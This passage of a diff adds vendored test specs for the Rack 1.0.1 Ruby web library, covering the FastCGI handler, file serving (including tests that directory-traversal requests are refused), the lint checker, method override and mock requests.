+    response["rack.run_once"].should.be false
+  end
+
+  specify "should have CGI headers on GET" do
+    GET("/test.fcgi")
+    response["REQUEST_METHOD"].should.equal "GET"
+    response["SCRIPT_NAME"].should.equal "/test.fcgi"
+    response["REQUEST_PATH"].should.equal "/"
+    response["PATH_INFO"].should.be.nil
+    response["QUERY_STRING"].should.equal ""
+    response["test.postdata"].should.equal ""
+
+    GET("/test.fcgi/foo?quux=1")
+    response["REQUEST_METHOD"].should.equal "GET"
+    response["SCRIPT_NAME"].should.equal "/test.fcgi"
+    response["REQUEST_PATH"].should.equal "/"
+    response["PATH_INFO"].should.equal "/foo"
+    response["QUERY_STRING"].should.equal "quux=1"
+  end
+
+  specify "should have CGI headers on POST" do
+    POST("/test.fcgi", {"rack-form-data" => "23"}, {'X-test-header' => '42'})
+    status.should.equal 200
+    response["REQUEST_METHOD"].should.equal "POST"
+    response["SCRIPT_NAME"].should.equal "/test.fcgi"
+    response["REQUEST_PATH"].should.equal "/"
+    response["QUERY_STRING"].should.equal ""
+    response["HTTP_X_TEST_HEADER"].should.equal "42"
+    response["test.postdata"].should.equal "rack-form-data=23"
+  end
+
+  specify "should support HTTP auth" do
+    GET("/test.fcgi", {:user => "ruth", :passwd => "secret"})
+    response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ="
+  end
+
+  specify "should set status" do
+    GET("/test.fcgi?secret")
+    status.should.equal 403
+    response["rack.url_scheme"].should.equal "http"
+  end
+
+  # Keep this last.
+  specify "shutdown" do
+    Process.kill 15, $pid
+    Process.wait($pid).should.equal $pid
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_file.rb b/vendor/gems/rack-1.0.1/test/spec_rack_file.rb
new file mode 100644
index 00000000..1e6771ab
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_file.rb
@@ -0,0 +1,75 @@
+require 'test/spec'
+
+require 'rack/file'
+require 'rack/lint'
+
+require 'rack/mock'
+
+context "Rack::File" do
+  DOCROOT = File.expand_path(File.dirname(__FILE__))
+
+  specify "serves files" do
+    res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))).
+      get("/cgi/test")
+
+    res.should.be.ok
+    res.should =~ /ruby/
+  end
+
+  specify "sets Last-Modified header" do
+    res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))).
+      get("/cgi/test")
+
+    path = File.join(DOCROOT, "/cgi/test")
+
+    res.should.be.ok
+    res["Last-Modified"].should.equal File.mtime(path).httpdate
+  end
+
+  specify "serves files with URL encoded filenames" do
+    res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))).
+      get("/cgi/%74%65%73%74") # "/cgi/test"
+
+    res.should.be.ok
+    res.should =~ /ruby/
+  end
+
+  specify "does not allow directory traversal" do
+    res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))).
+      get("/cgi/../test")
+
+    res.should.be.forbidden
+  end
+
+  specify "does not allow directory traversal with encoded periods" do
+    res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))).
+      get("/%2E%2E/README")
+
+    res.should.be.forbidden
+  end
+
+  specify "404s if it can't find the file" do
+    res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))).
+      get("/cgi/blubb")
+
+    res.should.be.not_found
+  end
+
+  specify "detects SystemCallErrors" do
+    res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))).
+      get("/cgi")
+
+    res.should.be.not_found
+  end
+
+  specify "returns bodies that respond to #to_path" do
+    env = Rack::MockRequest.env_for("/cgi/test")
+    status, headers, body = Rack::File.new(DOCROOT).call(env)
+
+    path = File.join(DOCROOT, "/cgi/test")
+
+    status.should.equal 200
+    body.should.respond_to :to_path
+    body.to_path.should.equal path
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_handler.rb b/vendor/gems/rack-1.0.1/test/spec_rack_handler.rb
new file mode 100644
index 00000000..fcf19b78
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_handler.rb
@@ -0,0 +1,43 @@
+require 'test/spec'
+
+require 'rack/handler'
+
+class Rack::Handler::Lobster; end
+class RockLobster; end
+
+context "Rack::Handler" do
+  specify "has registered default handlers" do
+    Rack::Handler.get('cgi').should.equal Rack::Handler::CGI
+    Rack::Handler.get('fastcgi').should.equal Rack::Handler::FastCGI
+    Rack::Handler.get('mongrel').should.equal Rack::Handler::Mongrel
+    Rack::Handler.get('webrick').should.equal Rack::Handler::WEBrick
+  end
+  
+  specify "handler that doesn't exist should raise a NameError" do
+    lambda {
+      Rack::Handler.get('boom')
+    }.should.raise(NameError)
+  end
+
+  specify "should get unregistered, but already required, handler by name" do
+    Rack::Handler.get('Lobster').should.equal Rack::Handler::Lobster
+  end
+
+  specify "should register custom handler" do
+    Rack::Handler.register('rock_lobster', 'RockLobster')
+    Rack::Handler.get('rock_lobster').should.equal RockLobster
+  end
+  
+  specify "should not need registration for properly coded handlers even if not already required" do
+    begin
+      $:.push "test/unregistered_handler"
+      Rack::Handler.get('Unregistered').should.equal Rack::Handler::Unregistered
+      lambda {
+        Rack::Handler.get('UnRegistered')
+      }.should.raise(NameError)
+      Rack::Handler.get('UnregisteredLongOne').should.equal Rack::Handler::UnregisteredLongOne
+    ensure
+      $:.delete "test/unregistered_handler"
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_head.rb b/vendor/gems/rack-1.0.1/test/spec_rack_head.rb
new file mode 100644
index 00000000..48d3f81f
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_head.rb
@@ -0,0 +1,30 @@
+require 'rack/head'
+require 'rack/mock'
+
+context "Rack::Head" do
+  def test_response(headers = {})
+    app = lambda { |env| [200, {"Content-type" => "test/plain", "Content-length" => "3"}, ["foo"]] }
+    request = Rack::MockRequest.env_for("/", headers)
+    response = Rack::Head.new(app).call(request)
+
+    return response
+  end
+
+  specify "passes GET, POST, PUT, DELETE, OPTIONS, TRACE requests" do
+    %w[GET POST PUT DELETE OPTIONS TRACE].each do |type|
+      resp = test_response("REQUEST_METHOD" => type)
+
+      resp[0].should.equal(200)
+      resp[1].should.equal({"Content-type" => "test/plain", "Content-length" => "3"})
+      resp[2].should.equal(["foo"])
+    end
+  end
+
+  specify "removes body from HEAD requests" do
+    resp = test_response("REQUEST_METHOD" => "HEAD")
+
+    resp[0].should.equal(200)
+    resp[1].should.equal({"Content-type" => "test/plain", "Content-length" => "3"})
+    resp[2].should.equal([])
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_lint.rb b/vendor/gems/rack-1.0.1/test/spec_rack_lint.rb
new file mode 100644
index 00000000..880a07ee
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_lint.rb
@@ -0,0 +1,521 @@
+require 'test/spec'
+require 'stringio'
+
+require 'rack/lint'
+require 'rack/mock'
+
+context "Rack::Lint" do
+  def env(*args)
+    Rack::MockRequest.env_for("/", *args)
+  end
+
+  specify "passes valid request" do
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {"Content-type" => "test/plain", "Content-length" => "3"}, ["foo"]]
+                     }).call(env({}))
+    }.should.not.raise
+  end
+
+  specify "notices fatal errors" do
+    lambda { Rack::Lint.new(nil).call }.should.raise(Rack::Lint::LintError).
+      message.should.match(/No env given/)
+  end
+
+  specify "notices environment errors" do
+    lambda { Rack::Lint.new(nil).call 5 }.should.raise(Rack::Lint::LintError).
+      message.should.match(/not a Hash/)
+
+    lambda {
+      e = env
+      e.delete("REQUEST_METHOD")
+      Rack::Lint.new(nil).call(e)
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/missing required key REQUEST_METHOD/)
+
+    lambda {
+      e = env
+      e.delete("SERVER_NAME")
+      Rack::Lint.new(nil).call(e)
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/missing required key SERVER_NAME/)
+
+
+    lambda {
+      Rack::Lint.new(nil).call(env("HTTP_CONTENT_TYPE" => "text/plain"))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/contains HTTP_CONTENT_TYPE/)
+
+    lambda {
+      Rack::Lint.new(nil).call(env("HTTP_CONTENT_LENGTH" => "42"))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/contains HTTP_CONTENT_LENGTH/)
+
+    lambda {
+      Rack::Lint.new(nil).call(env("FOO" => Object.new))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/non-string value/)
+
+    lambda {
+      Rack::Lint.new(nil).call(env("rack.version" => "0.2"))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/must be an Array/)
+
+    lambda {
+      Rack::Lint.new(nil).call(env("rack.url_scheme" => "gopher"))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/url_scheme unknown/)
+
+    lambda {
+      Rack::Lint.new(nil).call(env("rack.session" => []))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.equal("session [] must respond to store and []=")
+
+    lambda {
+      Rack::Lint.new(nil).call(env("REQUEST_METHOD" => "FUCKUP?"))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/REQUEST_METHOD/)
+
+    lambda {
+      Rack::Lint.new(nil).call(env("SCRIPT_NAME" => "howdy"))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/must start with/)
+
+    lambda {
+      Rack::Lint.new(nil).call(env("PATH_INFO" => "../foo"))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/must start with/)
+
+    lambda {
+      Rack::Lint.new(nil).call(env("CONTENT_LENGTH" => "xcii"))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/Invalid CONTENT_LENGTH/)
+
+    lambda {
+      e = env
+      e.delete("PATH_INFO")
+      e.delete("SCRIPT_NAME")
+      Rack::Lint.new(nil).call(e)
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/One of .* must be set/)
+
+    lambda {
+      Rack::Lint.new(nil).call(env("SCRIPT_NAME" => "/"))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/cannot be .* make it ''/)
+  end
+
+  specify "notices input errors" do
+    lambda {
+      Rack::Lint.new(nil).call(env("rack.input" => ""))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/does not respond to #gets/)
+    
+    lambda {
+      input = Object.new
+      def input.binmode?
+        false
+      end
+      Rack::Lint.new(nil).call(env("rack.input" => input))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/is not opened in binary mode/)
+    
+    lambda {
+      input = Object.new
+      def input.external_encoding
+        result = Object.new
+        def result.name
+          "US-ASCII"
+        end
+        result
+      end
+      Rack::Lint.new(nil).call(env("rack.input" => input))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/does not have ASCII-8BIT as its external encoding/)
+  end
+
+  specify "notices error errors" do
+    lambda {
+      Rack::Lint.new(nil).call(env("rack.errors" => ""))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/does not respond to #puts/)
+  end
+
+  specify "notices status errors" do
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       ["cc", {}, ""]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/must be >=100 seen as integer/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [42, {}, ""]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/must be >=100 seen as integer/)
+  end
+
+  specify "notices header errors" do
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, Object.new, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.equal("headers object should respond to #each, but doesn't (got Object as headers)")
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {true=>false}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.equal("header key must be a string, was TrueClass")
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {"Status" => "404"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/must not contain Status/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {"Content-Type:" => "text/plain"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/must not contain :/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {"Content-" => "text/plain"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/must not end/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {"..%%quark%%.." => "text/plain"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.equal("invalid header name: ..%%quark%%..")
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {"Foo" => Object.new}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.equal("a header value must be a String, but the value of 'Foo' is a Object")
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {"Foo" => [1, 2, 3]}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.equal("a header value must be a String, but the value of 'Foo' is a Array")
+
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {"Foo-Bar" => "text\000plain"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/invalid header/)
+
+    # line ends (010) should be allowed in header values.
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {"Foo-Bar" => "one\ntwo\nthree", "Content-Length" => "0", "Content-Type" => "text/plain" }, []]
+                     }).call(env({}))
+    }.should.not.raise(Rack::Lint::LintError)
+  end
+
+  specify "notices content-type errors" do
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {"Content-length" => "0"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/No Content-Type/)
+
+    [100, 101, 204, 304].each do |status|
+      lambda {
+        Rack::Lint.new(lambda { |env|
+                         [status, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                       }).call(env({}))
+      }.should.raise(Rack::Lint::LintError).
+        message.should.match(/Content-Type header found/)
+    end
+  end
+
+  specify "notices content-length errors" do
+    [100, 101, 204, 304].each do |status|
+      lambda {
+        Rack::Lint.new(lambda { |env|
+                         [status, {"Content-length" => "0"}, []]
+                       }).call(env({}))
+      }.should.raise(Rack::Lint::LintError).
+        message.should.match(/Content-Length header found/)
+    end
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {"Content-type" => "text/plain", "Content-Length" => "1"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/Content-Length header was 1, but should be 0/)
+  end
+
+  specify "notices body errors" do
+    lambda {
+      status, header, body = Rack::Lint.new(lambda { |env|
+                               [200, {"Content-type" => "text/plain","Content-length" => "3"}, [1,2,3]]
+                             }).call(env({}))
+      body.each { |part| }
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/yielded non-string/)
+  end
+
+  specify "notices input handling errors" do
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].gets("\r\n")
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/gets called with arguments/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].read(1, 2, 3)
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/read called with too many arguments/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].read("foo")
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/read called with non-integer and non-nil length/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].read(-1)
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/read called with a negative length/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].read(nil, nil)
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/read called with non-String buffer/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].read(nil, 1)
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/read called with non-String buffer/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].rewind(0)
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/rewind called with arguments/)
+
+    weirdio = Object.new
+    class << weirdio
+      def gets
+        42
+      end
+
+      def read
+        23
+      end
+
+      def each
+        yield 23
+        yield 42
+      end
+      
+      def rewind
+        raise Errno::ESPIPE, "Errno::ESPIPE"
+      end
+    end
+    
+    eof_weirdio = Object.new
+    class << eof_weirdio
+      def gets
+        nil
+      end
+      
+      def read(*args)
+        nil
+      end
+      
+      def each
+      end
+      
+      def rewind
+      end
+    end
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].gets
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env("rack.input" => weirdio))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/gets didn't return a String/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].each { |x| }
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env("rack.input" => weirdio))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/each didn't yield a String/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].read
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env("rack.input" => weirdio))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/read didn't return nil or a String/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].read
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env("rack.input" => eof_weirdio))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/read\(nil\) returned nil on EOF/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].rewind
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env("rack.input" => weirdio))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/rewind raised Errno::ESPIPE/)
+
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].close
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/close must not be called/)
+  end
+
+  specify "notices error handling errors" do
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.errors"].write(42)
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/write not called with a String/)
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.errors"].close
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/close must not be called/)
+  end
+
+  specify "notices HEAD errors" do
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {"Content-type" => "test/plain", "Content-length" => "3"}, []]
+                     }).call(env({"REQUEST_METHOD" => "HEAD"}))
+    }.should.not.raise
+
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       [200, {"Content-type" => "test/plain", "Content-length" => "3"}, ["foo"]]
+                     }).call(env({"REQUEST_METHOD" => "HEAD"}))
+    }.should.raise(Rack::Lint::LintError).
+      message.should.match(/body was given for HEAD/)
+  end
+  
+  specify "passes valid read calls" do
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].read
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({"rack.input" => StringIO.new("hello world")}))
+    }.should.not.raise(Rack::Lint::LintError)
+    
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].read(0)
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({"rack.input" => StringIO.new("hello world")}))
+    }.should.not.raise(Rack::Lint::LintError)
+    
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].read(1)
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({"rack.input" => StringIO.new("hello world")}))
+    }.should.not.raise(Rack::Lint::LintError)
+    
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].read(nil)
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({"rack.input" => StringIO.new("hello world")}))
+    }.should.not.raise(Rack::Lint::LintError)
+    
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].read(nil, '')
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({"rack.input" => StringIO.new("hello world")}))
+    }.should.not.raise(Rack::Lint::LintError)
+    
+    lambda {
+      Rack::Lint.new(lambda { |env|
+                       env["rack.input"].read(1, '')
+                       [201, {"Content-type" => "text/plain", "Content-length" => "0"}, []]
+                     }).call(env({"rack.input" => StringIO.new("hello world")}))
+    }.should.not.raise(Rack::Lint::LintError)
+  end
+end
+
+context "Rack::Lint::InputWrapper" do
+  specify "delegates :size to underlying IO object" do
+    class IOMock
+      def size
+        101
+      end
+    end
+
+    wrapper = Rack::Lint::InputWrapper.new(IOMock.new)
+    wrapper.size.should == 101
+  end
+
+  specify "delegates :rewind to underlying IO object" do
+    io = StringIO.new("123")
+    wrapper = Rack::Lint::InputWrapper.new(io)
+    wrapper.read.should.equal "123"
+    wrapper.read.should.equal ""
+    wrapper.rewind
+    wrapper.read.should.equal "123"
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_lobster.rb b/vendor/gems/rack-1.0.1/test/spec_rack_lobster.rb
new file mode 100644
index 00000000..7be267a2
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_lobster.rb
@@ -0,0 +1,45 @@
+require 'test/spec'
+
+require 'rack/lobster'
+require 'rack/mock'
+
+context "Rack::Lobster::LambdaLobster" do
+  specify "should be a single lambda" do
+    Rack::Lobster::LambdaLobster.should.be.kind_of Proc
+  end
+  
+  specify "should look like a lobster" do
+    res = Rack::MockRequest.new(Rack::Lobster::LambdaLobster).get("/")
+    res.should.be.ok
+    res.body.should.include "(,(,,(,,,("
+    res.body.should.include "?flip"
+  end
+
+  specify "should be flippable" do
+    res = Rack::MockRequest.new(Rack::Lobster::LambdaLobster).get("/?flip")
+    res.should.be.ok
+    res.body.should.include "(,,,(,,(,("
+  end
+end
+
+context "Rack::Lobster" do
+  specify "should look like a lobster" do
+    res = Rack::MockRequest.new(Rack::Lobster.new).get("/")
+    res.should.be.ok
+    res.body.should.include "(,(,,(,,,("
+    res.body.should.include "?flip"
+    res.body.should.include "crash"
+  end
+
+  specify "should be flippable" do
+    res = Rack::MockRequest.new(Rack::Lobster.new).get("/?flip=left")
+    res.should.be.ok
+    res.body.should.include "(,,,(,,(,("
+  end
+
+  specify "should provide crashing for testing purposes" do
+    lambda {
+      Rack::MockRequest.new(Rack::Lobster.new).get("/?flip=crash")
+    }.should.raise
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_lock.rb b/vendor/gems/rack-1.0.1/test/spec_rack_lock.rb
new file mode 100644
index 00000000..18af2b23
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_lock.rb
@@ -0,0 +1,38 @@
+require 'test/spec'
+
+require 'rack/mock'
+require 'rack/lock'
+
+context "Rack::Lock" do
+  class Lock
+    attr_reader :synchronized
+
+    def initialize
+      @synchronized = false
+    end
+
+    def synchronize
+      @synchronized = true
+      yield
+    end
+  end
+
+  specify "should call synchronize on lock" do
+    lock = Lock.new
+    env = Rack::MockRequest.env_for("/")
+    app = Rack::Lock.new(lambda { |env| }, lock)
+    lock.synchronized.should.equal false
+    app.call(env)
+    lock.synchronized.should.equal true
+  end
+
+  specify "should set multithread flag to false" do
+    app = Rack::Lock.new(lambda { |env| env['rack.multithread'] })
+    app.call(Rack::MockRequest.env_for("/")).should.equal false
+  end
+
+  specify "should reset original multithread flag when exiting lock" do
+    app = Rack::Lock.new(lambda { |env| env })
+    app.call(Rack::MockRequest.env_for("/"))['rack.multithread'].should.equal true
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_methodoverride.rb b/vendor/gems/rack-1.0.1/test/spec_rack_methodoverride.rb
new file mode 100644
index 00000000..57452394
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_methodoverride.rb
@@ -0,0 +1,60 @@
+require 'test/spec'
+
+require 'rack/mock'
+require 'rack/methodoverride'
+require 'stringio'
+
+context "Rack::MethodOverride" do
+  specify "should not affect GET requests" do
+    env = Rack::MockRequest.env_for("/?_method=delete", :method => "GET")
+    app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) })
+    req = app.call(env)
+
+    req.env["REQUEST_METHOD"].should.equal "GET"
+  end
+
+  specify "_method parameter should modify REQUEST_METHOD for POST requests" do
+    env = Rack::MockRequest.env_for("/", :method => "POST", :input => "_method=put")
+    app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) })
+    req = app.call(env)
+
+    req.env["REQUEST_METHOD"].should.equal "PUT"
+  end
+
+  specify "X-HTTP-Method-Override header should modify REQUEST_METHOD for POST requests" do
+    env = Rack::MockRequest.env_for("/",
+            :method => "POST",
+            "HTTP_X_HTTP_METHOD_OVERRIDE" => "PUT"
+          )
+    app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) })
+    req = app.call(env)
+
+    req.env["REQUEST_METHOD"].should.equal "PUT"
+  end
+
+  specify "should not modify REQUEST_METHOD if the method is unknown" do
+    env = Rack::MockRequest.env_for("/", :method => "POST", :input => "_method=foo")
+    app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) })
+    req = app.call(env)
+
+    req.env["REQUEST_METHOD"].should.equal "POST"
+  end
+
+  specify "should not modify REQUEST_METHOD when _method is nil" do
+    env = Rack::MockRequest.env_for("/", :method => "POST", :input => "foo=bar")
+    app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) })
+    req = app.call(env)
+
+    req.env["REQUEST_METHOD"].should.equal "POST"
+  end
+
+  specify "should store the original REQUEST_METHOD prior to overriding" do
+    env = Rack::MockRequest.env_for("/",
+            :method => "POST",
+            :input  => "_method=options")
+    app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) })
+    req = app.call(env)
+
+    req.env["rack.methodoverride.original_method"].should.equal "POST"
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_mock.rb b/vendor/gems/rack-1.0.1/test/spec_rack_mock.rb
new file mode 100644
index 00000000..9c392a28
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_mock.rb
@@ -0,0 +1,157 @@
+require 'yaml'
+require 'rack/mock'
+require 'rack/request'
+require 'rack/response'
+
+app = lambda { |env|
+  req = Rack::Request.new(env)
+  
+  env["mock.postdata"] = env["rack.input"].read
+  if req.GET["error"]
+    env["rack.errors"].puts req.GET["error"]
+    env["rack.errors"].flush
+  end
+  
+  Rack::Response.new(env.to_yaml,
+                     req.GET["status"] || 200,
+                     "Content-Type" => "text/yaml").finish
+}
+
+context "Rack::MockRequest" do
+  specify "should return a MockResponse" do
+    res = Rack::MockRequest.new(app).get("")
+    res.should.be.kind_of Rack::MockResponse
+  end
+
+  specify "should be able to only return the environment" do
+    env = Rack::MockRequest.env_for("")
+    env.should.be.kind_of Hash
+    env.should.include "rack.version"
+  end
+
+  specify "should provide sensible defaults" do
+    res = Rack::MockRequest.new(app).request
+
+    env = YAML.load(res.body)
+    env["REQUEST_METHOD"].should.equal "GET"
+    env["SERVER_NAME"].should.equal "example.org"
+    env["SERVER_PORT"].should.equal "80"
+    env["QUERY_STRING"].should.equal ""
+    env["PATH_INFO"].should.equal "/"
+    env["SCRIPT_NAME"].should.equal ""
+    env["rack.url_scheme"].should.equal "http"
+    env["mock.postdata"].should.be.empty
+  end
+
+  specify "should allow GET/POST/PUT/DELETE" do
+    res = Rack::MockRequest.new(app).get("", :input => "foo")
+    env = YAML.load(res.body)
+    env["REQUEST_METHOD"].should.equal "GET"
+
+    res = Rack::MockRequest.new(app).post("", :input => "foo")
+    env = YAML.load(res.body)
+    env["REQUEST_METHOD"].should.equal "POST"
+
+    res = Rack::MockRequest.new(app).put("", :input => "foo")
+    env = YAML.load(res.body)
+    env["REQUEST_METHOD"].should.equal "PUT"
+
+    res = Rack::MockRequest.new(app).delete("", :input => "foo")
+    env = YAML.load(res.body)
+    env["REQUEST_METHOD"].should.equal "DELETE"
+
+    Rack::MockRequest.env_for("/", :method => "OPTIONS")["REQUEST_METHOD"].
+      should.equal "OPTIONS"
+  end
+
+  specify "should set content length" do
+    env = Rack::MockRequest.env_for("/", :input => "foo")
